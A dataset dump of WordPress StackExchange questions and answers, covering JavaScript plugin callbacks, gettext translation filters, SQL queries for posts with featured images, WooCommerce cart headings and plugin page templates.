qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
list
input
stringlengths
12
45k
output
stringlengths
2
31.8k
266,502
<p>I'm definitely missing some basics here.</p> <p>I'm using this <a href="https://github.com/kylephillips/favorites" rel="nofollow noreferrer">plugin</a> wich performs ajax actions, and then fires a js function as callback. I would like to use the callback in a custom js script of my theme.</p> <p>Callback function is already defined (but empty) at the beginning of the main plugin js, and then fired as callback of an $.ajax post that puts values in its variables.</p> <p>This is a simplified version of the plugin js</p> <pre><code>jQuery(document).ready(function(){ new Favorites; }); // Callback Function for use in themes function favorites_after_button_submit(favorites, post_id, site_id, status){} var Favorites = function() { var plugin = this; var $ = jQuery; // Initialization plugin.init = function(){ plugin.bindEvents(); plugin.generateNonce(); } $.ajax({ url: plugin.ajaxurl, type: 'post', datatype: 'json', data: { action : plugin.formactions.favorite, nonce : plugin.nonce, postid : post_id, siteid : site_id, status : status }, success: function(data){ plugin.doStuff(); favorites_after_button_submit(data.favorites, post_id, site_id, status); } }); return plugin.init(); } </code></pre> <p>As you can see, function <code>favorites_after_button_submit(){}</code> is defined but does nothing.</p> <p>At first glance, I would remove that function from there and use it in my theme. But I'm sure this is not the way to do this.</p> <p>SO, how could I intercept that function that is fired as callback, make available its data from another js function and use it to perform some actions?</p>
[ { "answer_id": 266504, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": -1, "selected": false, "text": "<p>This is more of JS question than WP, but in general the code you showed sucks. There are all kinds of ways to do callbacks in JS, the most obvious one is to pass it as a parameter in the initialization of the relevant JS code. This code is just not extendable and if it is a requirement you have you should just fork the JS and enqueue your own, but obviously this strategy is bad for maintainability.</p>\n\n<p>Best option is probably to look for better plugin, or write your own (you have a code you can get inspiration from and trim the fat you do not need)</p>\n" }, { "answer_id": 266512, "author": "bluantinoo", "author_id": 4155, "author_profile": "https://wordpress.stackexchange.com/users/4155", "pm_score": 1, "selected": true, "text": "<p>Ok, I found out <a href=\"https://wordpress.org/support/topic/javascript-callbacks-clarification/\" rel=\"nofollow noreferrer\">here</a> how to procede.</p>\n\n<p>It was so simple I could not believe:</p>\n\n<p>1) include in theme a custom script with a dependency on the favorite plugin.\nexample:</p>\n\n<pre><code>wp_enqueue_script('script', get_stylesheet_directory_uri() . '/js/myscript.js', 'simple-favorite', '1.0.0', true);\n</code></pre>\n\n<p>2) in myscript.js just define again the function, and make it do something:</p>\n\n<pre><code>function favorites_after_button_submit(favorites, post_id, site_id, status){\n console.log('done');\n}\n</code></pre>\n\n<p>SO, it looks like a js function can be redefined?</p>\n" } ]
2017/05/10
[ "https://wordpress.stackexchange.com/questions/266502", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/4155/" ]
I'm definitely missing some basics here. I'm using this [plugin](https://github.com/kylephillips/favorites) wich performs ajax actions, and then fires a js function as callback. I would like to use the callback in a custom js script of my theme. Callback function is already defined (but empty) at the beginning of the main plugin js, and then fired as callback of an $.ajax post that puts values in its variables. This is a simplified version of the plugin js ``` jQuery(document).ready(function(){ new Favorites; }); // Callback Function for use in themes function favorites_after_button_submit(favorites, post_id, site_id, status){} var Favorites = function() { var plugin = this; var $ = jQuery; // Initialization plugin.init = function(){ plugin.bindEvents(); plugin.generateNonce(); } $.ajax({ url: plugin.ajaxurl, type: 'post', datatype: 'json', data: { action : plugin.formactions.favorite, nonce : plugin.nonce, postid : post_id, siteid : site_id, status : status }, success: function(data){ plugin.doStuff(); favorites_after_button_submit(data.favorites, post_id, site_id, status); } }); return plugin.init(); } ``` As you can see, function `favorites_after_button_submit(){}` is defined but does nothing. At first glance, I would remove that function from there and use it in my theme. But I'm sure this is not the way to do this. SO, how could I intercept that function that is fired as callback, make available its data from another js function and use it to perform some actions?
Ok, I found out [here](https://wordpress.org/support/topic/javascript-callbacks-clarification/) how to procede. It was so simple I could not believe: 1) include in theme a custom script with a dependency on the favorite plugin. example: ``` wp_enqueue_script('script', get_stylesheet_directory_uri() . '/js/myscript.js', 'simple-favorite', '1.0.0', true); ``` 2) in myscript.js just define again the function, and make it do something: ``` function favorites_after_button_submit(favorites, post_id, site_id, status){ console.log('done'); } ``` SO, it looks like a js function can be redefined?
266,542
<p>I used the following code in <code>functions.php</code> to translate some text:</p> <pre><code>add_filter('gettext', 'aad_translate_words_array'); add_filter('ngettext', 'aad_translate_words_array'); function aad_translate_words_array( $translated ) { $words = array( // 'word to translate' = &gt; 'translation' 'Place Name' =&gt; 'Artist Name', 'Add Your Place' =&gt; 'Add Your Artist Practice' ); $translated = str_ireplace( array_keys($words), $words, $translated ); return $translated; } </code></pre> <p>This code is not producing any text changes.</p> <p>Why is this the case? Help appreciated.</p>
[ { "answer_id": 271683, "author": "sMyles", "author_id": 51201, "author_profile": "https://wordpress.stackexchange.com/users/51201", "pm_score": 3, "selected": false, "text": "<p>The code you have is correct and will handle the wording even if the case does not match.</p>\n\n<p>Your problem is probably that wherever <code>Place Name</code> is being output, it is not being passed through a WordPress translation function, <code>__( 'Place Name' )</code> or <code>_e( 'Place Name' );</code></p>\n\n<p>Either that, or what you're trying to translate is being dynamically generated ... you gave zero details as to where <code>Place Name</code> is originating from, and as such, there's nothing we can do besides tell you the code is correct.</p>\n\n<p>If you're not comfortable with using PHP to do this, you should use a plugin like Say What:\n<a href=\"https://wordpress.org/plugins/say-what/\" rel=\"noreferrer\">https://wordpress.org/plugins/say-what/</a></p>\n\n<p>Here's a tutorial I put together a while back on changing wording on any WordPress site:\n<a href=\"https://plugins.smyl.es/docs-kb/how-to-change-button-or-other-text-on-entire-wordpress-site/\" rel=\"noreferrer\">https://plugins.smyl.es/docs-kb/how-to-change-button-or-other-text-on-entire-wordpress-site/</a></p>\n" }, { "answer_id": 326701, "author": "Manuel de la Iglesia Campos", "author_id": 159881, "author_profile": "https://wordpress.stackexchange.com/users/159881", "pm_score": 1, "selected": false, "text": "<p>as a default, in WP there is the following:\n<code>add_action( 'after_setup_theme', your_theme_setup_function() );</code></p>\n\n<p>inside that setup function there should be the following call:\n<code>load_theme_textdomain( your_theme_domain, get_template_directory() . '/languages' );</code></p>\n\n<p>it appears that the 'after_setup_theme' call makes that functions inside 'functions.php' itself don't recognize the domain.</p>\n\n<p>solved it by moving the call:\n<code>load_theme_textdomain( your_theme_domain, get_template_directory() . '/languages' );</code>\nto the root of 'functions.php'</p>\n" } ]
2017/05/11
[ "https://wordpress.stackexchange.com/questions/266542", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/3206/" ]
I used the following code in `functions.php` to translate some text: ``` add_filter('gettext', 'aad_translate_words_array'); add_filter('ngettext', 'aad_translate_words_array'); function aad_translate_words_array( $translated ) { $words = array( // 'word to translate' = > 'translation' 'Place Name' => 'Artist Name', 'Add Your Place' => 'Add Your Artist Practice' ); $translated = str_ireplace( array_keys($words), $words, $translated ); return $translated; } ``` This code is not producing any text changes. Why is this the case? Help appreciated.
The code you have is correct and will handle the wording even if the case does not match. Your problem is probably that wherever `Place Name` is being output, it is not being passed through a WordPress translation function, `__( 'Place Name' )` or `_e( 'Place Name' );` Either that, or what you're trying to translate is being dynamically generated ... you gave zero details as to where `Place Name` is originating from, and as such, there's nothing we can do besides tell you the code is correct. If you're not comfortable with using PHP to do this, you should use a plugin like Say What: <https://wordpress.org/plugins/say-what/> Here's a tutorial I put together a while back on changing wording on any WordPress site: <https://plugins.smyl.es/docs-kb/how-to-change-button-or-other-text-on-entire-wordpress-site/>
266,557
<p>I am working on a task where i need to retrive 100s posts under single-page/single-request with their featured images. </p> <p>By using wordpress method of retriving posts and then retrive featured image individually using <code>get_the_post_thumbnail</code> function it takes so much time to load the page. </p> <p>Can someone provide a faster solution for this like retrive posts and featured image under one single query. That should speed up the proccess.</p>
[ { "answer_id": 266581, "author": "Vinod Dalvi", "author_id": 14347, "author_profile": "https://wordpress.stackexchange.com/users/14347", "pm_score": 2, "selected": false, "text": "<p>The post and featured image URL is saved in wp_posts table and its relation is saved in wp_postmeta table so in any case you have to query both these tables either directly in single Query or using WordPress function and query them separately.</p>\n\n<p>I don't think querying both tables in single Query will improve major performance but if you want to do it then you can use below custom code.</p>\n\n<pre><code> global $wpdb;\n $results = $wpdb-&gt;get_results( \"SELECT * FROM $wpdb-&gt;posts, $wpdb-&gt;postmeta where $wpdb-&gt;posts.ID = $wpdb-&gt;postmeta.post_id and $wpdb-&gt;postmeta.meta_key = '_thumbnail_id' and $wpdb-&gt;posts.post_type='post' limit 100\");\n\n if ( $results )\n {\n foreach ( $results as $post )\n { \n setup_postdata( $post );\n ?&gt;\n &lt;h2&gt;\n &lt;a href=\"&lt;?php the_permalink(); ?&gt;\" rel=\"bookmark\" title=\"Permalink: &lt;?php the_title(); ?&gt;\"&gt;\n &lt;?php the_title(); ?&gt;\n &lt;/a&gt;\n &lt;/h2&gt;\n &lt;?php\n if ( $post-&gt;meta_value ) { \n $image = image_downsize( $post-&gt;meta_value );\n ?&gt;\n &lt;img src=\"&lt;?php echo $image[0]; ?&gt;\" /&gt;\n &lt;?php\n }\n } \n }\n else\n {\n ?&gt;\n &lt;h2&gt;Not Found&lt;/h2&gt;\n &lt;?php\n } \n</code></pre>\n" }, { "answer_id": 266960, "author": "Waqas Ali Shah", "author_id": 119704, "author_profile": "https://wordpress.stackexchange.com/users/119704", "pm_score": 1, "selected": false, "text": "<p>You can manage the page load speed by using infinite scroll method. \nRetrieve only those post which are showing above the fold and on scroll you can query other posts this can help you load your page much more quickly.\nHere is a tutorial for this.</p>\n\n<p><a href=\"https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873\" rel=\"nofollow noreferrer\">https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873</a></p>\n\n<p>There are some plugins for infinite scroll for posts.</p>\n\n<p><a href=\"https://wordpress.org/plugins/wp-infinite-scrolling/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/wp-infinite-scrolling/</a></p>\n" }, { "answer_id": 267010, "author": "JItendra Rana", "author_id": 87433, "author_profile": "https://wordpress.stackexchange.com/users/87433", "pm_score": 3, "selected": true, "text": "<p>Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. </p>\n\n<pre><code>global $wpdb;\n\n$perpage = 10; \n$page = 1; // Get the current page FROM $wp_query\n\n$counter = $perpage * $page;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$sql = \"\nSELECT \n post.ID,\n post.post_title,\n post.post_date,\n post.category_name,\n post.category_slug,\n post.category_id,\n CONCAT( '\".$uploadDir.\"','/', thumb.meta_value) as thumbnail,\n post.post_type\nFROM (\n SELECT p.ID, \n p.post_title, \n p.post_date,\n p.post_type,\n MAX(CASE WHEN pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id,\n term.name as category_name,\n term.slug as category_slug,\n term.term_id as category_id\n FROM \".$wpdb-&gt;prefix.\"posts as p \n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta as pm ON ( pm.post_id = p.ID)\n LEFT JOIN \".$wpdb-&gt;prefix.\"term_relationships as tr ON tr.object_id = p.ID\n LEFT JOIN \".$wpdb-&gt;prefix.\"terms as term ON tr.term_taxonomy_id = term.term_id\n WHERE 1 \".$where.\" AND p.post_status = 'publish'\n GROUP BY p.ID ORDER BY p.post_date DESC\n ) as post\n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta AS thumb \n ON thumb.meta_key = '_wp_attached_file' \n AND thumb.post_id = post.thumbnail_id\n LIMIT \".$counter.\",\".$perpage;\n\n$posts = $wpdb-&gt;get_results( $sql, ARRAY_A); \n</code></pre>\n\n<p><strong>Bonus</strong> : You will also get Category details with post details if you need. </p>\n\n<p><strong>P.S</strong> : You will need to change the query a bit to match your requirements and get desired fields. </p>\n" }, { "answer_id": 302493, "author": "Krishna Modi", "author_id": 142879, "author_profile": "https://wordpress.stackexchange.com/users/142879", "pm_score": 2, "selected": false, "text": "<p>This is much simpler solution without any use of complex joins,</p>\n\n<pre><code>SELECT wp_posts.id,\n wp_posts.post_title,\n wp_terms.name,\n (SELECT guid\n FROM wp_posts\n WHERE id = wp_postmeta.meta_value) AS image\nFROM wp_posts,\n wp_postmeta,\n wp_term_relationships,\n wp_terms\nWHERE wp_posts.id = wp_term_relationships.object_id\n AND wp_terms.term_id = wp_term_relationships.term_taxonomy_id\n AND wp_terms.name = 'mycat'\n AND wp_posts.post_status = \"publish\"\n AND wp_posts.post_type = \"post\"\n AND wp_postmeta.post_id = wp_posts.id\n AND wp_postmeta.meta_key = '_thumbnail_id'\nORDER BY wp_posts.post_date DESC\nLIMIT 5;\n</code></pre>\n\n<p>This query will give post id, post category, and featured image.\nYou can filter the category by changing wp_terms.name = 'mycat' with your category name.</p>\n" }, { "answer_id": 403193, "author": "Juvy Cagape", "author_id": 219745, "author_profile": "https://wordpress.stackexchange.com/users/219745", "pm_score": 1, "selected": false, "text": "<p>The accepted answer will ruin your life LOL... Here's the easy way..</p>\n<pre><code>global $wpdb;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$page = (!empty($_REQUEST['p'])) ? $_REQUEST['p'] : 1;\n$_limit = 50;\n$_start = ($page &gt; 1) ? ($page * $_limit) : 0;\n\n$_stmts = &quot;\n SELECT \n p.ID, \n p.post_title,\n p.post_name,\n CONCAT( '&quot;.$uploadDir.&quot;', '/', thumb.meta_value) as thumbnail\n FROM {$wpdb-&gt;prefix}posts AS p\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumbnail_id\n ON thumbnail_id.post_id = p.ID AND thumbnail_id.meta_key = '_thumbnail_id'\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumb\n ON thumb.post_id = thumbnail_id.meta_value AND thumb.meta_key = '_wp_attached_file'\n \n \n WHERE p.post_status = 'publish'\n LIMIT {$_start},{$_limit}\n&quot;;\n\n$get_rs = $wpdb-&gt;get_results($_stmts);\n</code></pre>\n" } ]
2017/05/11
[ "https://wordpress.stackexchange.com/questions/266557", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/115973/" ]
I am working on a task where i need to retrive 100s posts under single-page/single-request with their featured images. By using wordpress method of retriving posts and then retrive featured image individually using `get_the_post_thumbnail` function it takes so much time to load the page. Can someone provide a faster solution for this like retrive posts and featured image under one single query. That should speed up the proccess.
Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. ``` global $wpdb; $perpage = 10; $page = 1; // Get the current page FROM $wp_query $counter = $perpage * $page; $uploadDir = wp_upload_dir(); $uploadDir = $uploadDir['baseurl']; $sql = " SELECT post.ID, post.post_title, post.post_date, post.category_name, post.category_slug, post.category_id, CONCAT( '".$uploadDir."','/', thumb.meta_value) as thumbnail, post.post_type FROM ( SELECT p.ID, p.post_title, p.post_date, p.post_type, MAX(CASE WHEN pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id, term.name as category_name, term.slug as category_slug, term.term_id as category_id FROM ".$wpdb->prefix."posts as p LEFT JOIN ".$wpdb->prefix."postmeta as pm ON ( pm.post_id = p.ID) LEFT JOIN ".$wpdb->prefix."term_relationships as tr ON tr.object_id = p.ID LEFT JOIN ".$wpdb->prefix."terms as term ON tr.term_taxonomy_id = term.term_id WHERE 1 ".$where." AND p.post_status = 'publish' GROUP BY p.ID ORDER BY p.post_date DESC ) as post LEFT JOIN ".$wpdb->prefix."postmeta AS thumb ON thumb.meta_key = '_wp_attached_file' AND thumb.post_id = post.thumbnail_id LIMIT ".$counter.",".$perpage; $posts = $wpdb->get_results( $sql, ARRAY_A); ``` **Bonus** : You will also get Category details with post details if you need. **P.S** : You will need to change the query a bit to match your requirements and get desired fields.
266,589
<p>My Woocommerce shopping cart page displays a column for my product thumbnails, but the heading of the column is missing (<a href="https://imgur.com/a/jh1tp" rel="nofollow noreferrer">screenshot</a>). Can I add a heading here by using a filter hook? If so, can anyone suggest the particular hook to use? I've looked through the <a href="https://docs.woocommerce.com/wc-apidocs/hook-docs.html" rel="nofollow noreferrer">big book of Woocommerce hooks</a>, but can't seem to find one that pertains to the headings in this table.</p> <p>I am aware that I can complete this task with JavaScript, but for this particular case I would like to use a hook, if possible.</p> <p>Thanks.</p>
[ { "answer_id": 266581, "author": "Vinod Dalvi", "author_id": 14347, "author_profile": "https://wordpress.stackexchange.com/users/14347", "pm_score": 2, "selected": false, "text": "<p>The post and featured image URL is saved in wp_posts table and its relation is saved in wp_postmeta table so in any case you have to query both these tables either directly in single Query or using WordPress function and query them separately.</p>\n\n<p>I don't think querying both tables in single Query will improve major performance but if you want to do it then you can use below custom code.</p>\n\n<pre><code> global $wpdb;\n $results = $wpdb-&gt;get_results( \"SELECT * FROM $wpdb-&gt;posts, $wpdb-&gt;postmeta where $wpdb-&gt;posts.ID = $wpdb-&gt;postmeta.post_id and $wpdb-&gt;postmeta.meta_key = '_thumbnail_id' and $wpdb-&gt;posts.post_type='post' limit 100\");\n\n if ( $results )\n {\n foreach ( $results as $post )\n { \n setup_postdata( $post );\n ?&gt;\n &lt;h2&gt;\n &lt;a href=\"&lt;?php the_permalink(); ?&gt;\" rel=\"bookmark\" title=\"Permalink: &lt;?php the_title(); ?&gt;\"&gt;\n &lt;?php the_title(); ?&gt;\n &lt;/a&gt;\n &lt;/h2&gt;\n &lt;?php\n if ( $post-&gt;meta_value ) { \n $image = image_downsize( $post-&gt;meta_value );\n ?&gt;\n &lt;img src=\"&lt;?php echo $image[0]; ?&gt;\" /&gt;\n &lt;?php\n }\n } \n }\n else\n {\n ?&gt;\n &lt;h2&gt;Not Found&lt;/h2&gt;\n &lt;?php\n } \n</code></pre>\n" }, { "answer_id": 266960, "author": "Waqas Ali Shah", "author_id": 119704, "author_profile": "https://wordpress.stackexchange.com/users/119704", "pm_score": 1, "selected": false, "text": "<p>You can manage the page load speed by using infinite scroll method. \nRetrieve only those post which are showing above the fold and on scroll you can query other posts this can help you load your page much more quickly.\nHere is a tutorial for this.</p>\n\n<p><a href=\"https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873\" rel=\"nofollow noreferrer\">https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873</a></p>\n\n<p>There are some plugins for infinite scroll for posts.</p>\n\n<p><a href=\"https://wordpress.org/plugins/wp-infinite-scrolling/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/wp-infinite-scrolling/</a></p>\n" }, { "answer_id": 267010, "author": "JItendra Rana", "author_id": 87433, "author_profile": "https://wordpress.stackexchange.com/users/87433", "pm_score": 3, "selected": true, "text": "<p>Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. </p>\n\n<pre><code>global $wpdb;\n\n$perpage = 10; \n$page = 1; // Get the current page FROM $wp_query\n\n$counter = $perpage * $page;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$sql = \"\nSELECT \n post.ID,\n post.post_title,\n post.post_date,\n post.category_name,\n post.category_slug,\n post.category_id,\n CONCAT( '\".$uploadDir.\"','/', thumb.meta_value) as thumbnail,\n post.post_type\nFROM (\n SELECT p.ID, \n p.post_title, \n p.post_date,\n p.post_type,\n MAX(CASE WHEN pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id,\n term.name as category_name,\n term.slug as category_slug,\n term.term_id as category_id\n FROM \".$wpdb-&gt;prefix.\"posts as p \n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta as pm ON ( pm.post_id = p.ID)\n LEFT JOIN \".$wpdb-&gt;prefix.\"term_relationships as tr ON tr.object_id = p.ID\n LEFT JOIN \".$wpdb-&gt;prefix.\"terms as term ON tr.term_taxonomy_id = term.term_id\n WHERE 1 \".$where.\" AND p.post_status = 'publish'\n GROUP BY p.ID ORDER BY p.post_date DESC\n ) as post\n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta AS thumb \n ON thumb.meta_key = '_wp_attached_file' \n AND thumb.post_id = post.thumbnail_id\n LIMIT \".$counter.\",\".$perpage;\n\n$posts = $wpdb-&gt;get_results( $sql, ARRAY_A); \n</code></pre>\n\n<p><strong>Bonus</strong> : You will also get Category details with post details if you need. </p>\n\n<p><strong>P.S</strong> : You will need to change the query a bit to match your requirements and get desired fields. </p>\n" }, { "answer_id": 302493, "author": "Krishna Modi", "author_id": 142879, "author_profile": "https://wordpress.stackexchange.com/users/142879", "pm_score": 2, "selected": false, "text": "<p>This is much simpler solution without any use of complex joins,</p>\n\n<pre><code>SELECT wp_posts.id,\n wp_posts.post_title,\n wp_terms.name,\n (SELECT guid\n FROM wp_posts\n WHERE id = wp_postmeta.meta_value) AS image\nFROM wp_posts,\n wp_postmeta,\n wp_term_relationships,\n wp_terms\nWHERE wp_posts.id = wp_term_relationships.object_id\n AND wp_terms.term_id = wp_term_relationships.term_taxonomy_id\n AND wp_terms.name = 'mycat'\n AND wp_posts.post_status = \"publish\"\n AND wp_posts.post_type = \"post\"\n AND wp_postmeta.post_id = wp_posts.id\n AND wp_postmeta.meta_key = '_thumbnail_id'\nORDER BY wp_posts.post_date DESC\nLIMIT 5;\n</code></pre>\n\n<p>This query will give post id, post category, and featured image.\nYou can filter the category by changing wp_terms.name = 'mycat' with your category name.</p>\n" }, { "answer_id": 403193, "author": "Juvy Cagape", "author_id": 219745, "author_profile": "https://wordpress.stackexchange.com/users/219745", "pm_score": 1, "selected": false, "text": "<p>The accepted answer will ruin your life LOL... Here's the easy way..</p>\n<pre><code>global $wpdb;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$page = (!empty($_REQUEST['p'])) ? $_REQUEST['p'] : 1;\n$_limit = 50;\n$_start = ($page &gt; 1) ? ($page * $_limit) : 0;\n\n$_stmts = &quot;\n SELECT \n p.ID, \n p.post_title,\n p.post_name,\n CONCAT( '&quot;.$uploadDir.&quot;', '/', thumb.meta_value) as thumbnail\n FROM {$wpdb-&gt;prefix}posts AS p\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumbnail_id\n ON thumbnail_id.post_id = p.ID AND thumbnail_id.meta_key = '_thumbnail_id'\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumb\n ON thumb.post_id = thumbnail_id.meta_value AND thumb.meta_key = '_wp_attached_file'\n \n \n WHERE p.post_status = 'publish'\n LIMIT {$_start},{$_limit}\n&quot;;\n\n$get_rs = $wpdb-&gt;get_results($_stmts);\n</code></pre>\n" } ]
2017/05/11
[ "https://wordpress.stackexchange.com/questions/266589", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/51204/" ]
My Woocommerce shopping cart page displays a column for my product thumbnails, but the heading of the column is missing ([screenshot](https://imgur.com/a/jh1tp)). Can I add a heading here by using a filter hook? If so, can anyone suggest the particular hook to use? I've looked through the [big book of Woocommerce hooks](https://docs.woocommerce.com/wc-apidocs/hook-docs.html), but can't seem to find one that pertains to the headings in this table. I am aware that I can complete this task with JavaScript, but for this particular case I would like to use a hook, if possible. Thanks.
Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. ``` global $wpdb; $perpage = 10; $page = 1; // Get the current page FROM $wp_query $counter = $perpage * $page; $uploadDir = wp_upload_dir(); $uploadDir = $uploadDir['baseurl']; $sql = " SELECT post.ID, post.post_title, post.post_date, post.category_name, post.category_slug, post.category_id, CONCAT( '".$uploadDir."','/', thumb.meta_value) as thumbnail, post.post_type FROM ( SELECT p.ID, p.post_title, p.post_date, p.post_type, MAX(CASE WHEN pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id, term.name as category_name, term.slug as category_slug, term.term_id as category_id FROM ".$wpdb->prefix."posts as p LEFT JOIN ".$wpdb->prefix."postmeta as pm ON ( pm.post_id = p.ID) LEFT JOIN ".$wpdb->prefix."term_relationships as tr ON tr.object_id = p.ID LEFT JOIN ".$wpdb->prefix."terms as term ON tr.term_taxonomy_id = term.term_id WHERE 1 ".$where." AND p.post_status = 'publish' GROUP BY p.ID ORDER BY p.post_date DESC ) as post LEFT JOIN ".$wpdb->prefix."postmeta AS thumb ON thumb.meta_key = '_wp_attached_file' AND thumb.post_id = post.thumbnail_id LIMIT ".$counter.",".$perpage; $posts = $wpdb->get_results( $sql, ARRAY_A); ``` **Bonus** : You will also get Category details with post details if you need. **P.S** : You will need to change the query a bit to match your requirements and get desired fields.
266,613
<p>A plugin creates a set of pages and a template. There must be some method to assign the template to one of the pages. I've attempted to adapt the method shown at filter reference <a href="https://codex.wordpress.org/Plugin_API/Filter_Reference/template_include" rel="nofollow noreferrer"><code>template_include</code></a> without success.</p> <p>The page slug is <code>member-register</code>, the template file name is <code>member-content-template.php</code>.</p> <p>Some of the things that don't work include:</p> <ul> <li><a href="https://developer.wordpress.org/reference/functions/locate_template/" rel="nofollow noreferrer"><code>locate_template()</code></a>: I suspect that because the template was created by a plugin it is not found by a function that appears to only search themes.</li> <li><a href="https://developer.wordpress.org/reference/functions/is_page/" rel="nofollow noreferrer"><code>is_page()</code></a>: If given the argument of the page's title, slug or id returns false.</li> </ul> <h3>Edit:</h3> <p>As I have little experience with WordPress, I work in small increments to see what yields results. Attempts include such things as:</p> <pre><code>$template = locate_template(['member-content-template.php']); var_dump($template);die; </code></pre> <p>Which results in <code>string(0) &quot;&quot;</code> Or:</p> <pre><code> $is = is_page(3350); var_dump($is);die; </code></pre> <p>Which results in <code>bool(false)</code> The same is also true for <code>is_page('member-register')</code> and <code>is_page('Register')</code></p> <p>If any of the above had yielded acceptable results I would have built a callback as suggested in the filter reference.</p> <h3>Edit #2:</h3> <p>Code snippets:</p> <p>rma.php (the plugin code)</p> <pre><code>$page_definitions = array( ... 'member-register' =&gt; array( 'title' =&gt; __('Register', 'rma-member-auth'), 'content' =&gt; '[custom_register_form]', 'class' =&gt; 'Rma\Pages\Register', 'function' =&gt; 'createRegisterForm', 'template' =&gt; 'Rma\Templates\member-content-template.php', ), ); ... $templater = new PageTemplater($templates); add_action('plugins_loaded', array('Rma\Templates\PageTemplater', 'get_instance')); $pages = new PageLoader(); $pages-&gt;pageCreator($page_definitions); $pages-&gt;shortcodeGenerator($page_definitions); ... </code></pre> <p>PageLoader:</p> <pre><code>... public function pageCreator($page_definitions) { foreach ($page_definitions as $slug =&gt; $page) { // Check that the page doesn't exist already $query = new \WP_Query('pagename=' . $slug); if (!$query-&gt;have_posts()) { // Add the page using the data from the array above wp_insert_post( array( 'post_content' =&gt; $page['content'], 'post_name' =&gt; $slug, 'post_title' =&gt; $page['title'], 'post_status' =&gt; 'publish', 'post_type' =&gt; 'page', 'ping_status' =&gt; 'closed', 'comment_status' =&gt; 'closed', 'post_template' =&gt; $page['template'], ) ); } } } </code></pre>
[ { "answer_id": 266581, "author": "Vinod Dalvi", "author_id": 14347, "author_profile": "https://wordpress.stackexchange.com/users/14347", "pm_score": 2, "selected": false, "text": "<p>The post and featured image URL is saved in wp_posts table and its relation is saved in wp_postmeta table so in any case you have to query both these tables either directly in single Query or using WordPress function and query them separately.</p>\n\n<p>I don't think querying both tables in single Query will improve major performance but if you want to do it then you can use below custom code.</p>\n\n<pre><code> global $wpdb;\n $results = $wpdb-&gt;get_results( \"SELECT * FROM $wpdb-&gt;posts, $wpdb-&gt;postmeta where $wpdb-&gt;posts.ID = $wpdb-&gt;postmeta.post_id and $wpdb-&gt;postmeta.meta_key = '_thumbnail_id' and $wpdb-&gt;posts.post_type='post' limit 100\");\n\n if ( $results )\n {\n foreach ( $results as $post )\n { \n setup_postdata( $post );\n ?&gt;\n &lt;h2&gt;\n &lt;a href=\"&lt;?php the_permalink(); ?&gt;\" rel=\"bookmark\" title=\"Permalink: &lt;?php the_title(); ?&gt;\"&gt;\n &lt;?php the_title(); ?&gt;\n &lt;/a&gt;\n &lt;/h2&gt;\n &lt;?php\n if ( $post-&gt;meta_value ) { \n $image = image_downsize( $post-&gt;meta_value );\n ?&gt;\n &lt;img src=\"&lt;?php echo $image[0]; ?&gt;\" /&gt;\n &lt;?php\n }\n } \n }\n else\n {\n ?&gt;\n &lt;h2&gt;Not Found&lt;/h2&gt;\n &lt;?php\n } \n</code></pre>\n" }, { "answer_id": 266960, "author": "Waqas Ali Shah", "author_id": 119704, "author_profile": "https://wordpress.stackexchange.com/users/119704", "pm_score": 1, "selected": false, "text": "<p>You can manage the page load speed by using infinite scroll method. \nRetrieve only those post which are showing above the fold and on scroll you can query other posts this can help you load your page much more quickly.\nHere is a tutorial for this.</p>\n\n<p><a href=\"https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873\" rel=\"nofollow noreferrer\">https://code.tutsplus.com/tutorials/how-to-create-infinite-scroll-pagination--wp-24873</a></p>\n\n<p>There are some plugins for infinite scroll for posts.</p>\n\n<p><a href=\"https://wordpress.org/plugins/wp-infinite-scrolling/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/wp-infinite-scrolling/</a></p>\n" }, { "answer_id": 267010, "author": "JItendra Rana", "author_id": 87433, "author_profile": "https://wordpress.stackexchange.com/users/87433", "pm_score": 3, "selected": true, "text": "<p>Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. </p>\n\n<pre><code>global $wpdb;\n\n$perpage = 10; \n$page = 1; // Get the current page FROM $wp_query\n\n$counter = $perpage * $page;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$sql = \"\nSELECT \n post.ID,\n post.post_title,\n post.post_date,\n post.category_name,\n post.category_slug,\n post.category_id,\n CONCAT( '\".$uploadDir.\"','/', thumb.meta_value) as thumbnail,\n post.post_type\nFROM (\n SELECT p.ID, \n p.post_title, \n 